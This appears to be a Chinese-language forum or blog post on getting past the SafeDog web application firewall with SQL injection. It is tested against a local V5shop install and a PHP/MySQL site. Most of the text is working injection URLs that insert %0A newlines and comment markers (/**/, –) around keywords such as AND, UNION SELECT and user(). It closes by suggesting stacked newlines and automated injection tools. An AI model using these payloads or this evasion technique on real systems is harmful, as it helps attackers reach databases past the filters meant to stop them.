http://192.168.91.152/cart.aspx?act=buy&id=1 AND 1=user
测试版本:IIS版V3.3.09476(2014-09-24)、Apache V3.1.08512(2014-05-29),均为今天能下到的最新版。
用于绕过的核心字符:%0A,某些特殊场合需要和注释符配合使用。
测试详细步骤:
1、本机安装了存在注入的V5shop(构架为IIS6+ASPX+MSSQL2005,以测试IIS版本的安全狗),常规注入测试:
AND作为关键字被识别并拦截。
2、加入%0A再次尝试:<%0A当作空格或者隔离普通参数与数据库查询参数>
http://192.168.91.152/cart.aspx?act=buy&id=1%0AAND 1=user
成功绕过并实现注入。
另外:在Apache+php+Mysql环境中:
先按常规进行注入尝试:
http://192.168.91.152:8000/About.php?did=2 and/**/(select user())=”
因为and、user()均为黑名单里的关键字。那么我们加入%0A再次尝试:
http://192.168.91.152:8000/About.php?did=2%0Aand/**/(select%0Auser())=”
http://192.168.91.152:8000/About.php?did=2%0Aand/**/(select%0Auser())=’root@localhost’
当然,%0A只是一个思路,由此发散开来便是多个%0A叠加,或者与注释符–、/**/混合使用。比如:
http://192.168.91.152:8000/About.php?did=-2%0Aunion–%0Aselect%0Auser()
成功绕过,毫无压力 。
观点:
1,传递变量后,换行了(%0A)?所以绕过狗儿。如果再传递多个空格,形式更混乱,会不会效果更好?
2,如果想工具跑的话可以用穿山甲或者大萝卜替代空格功能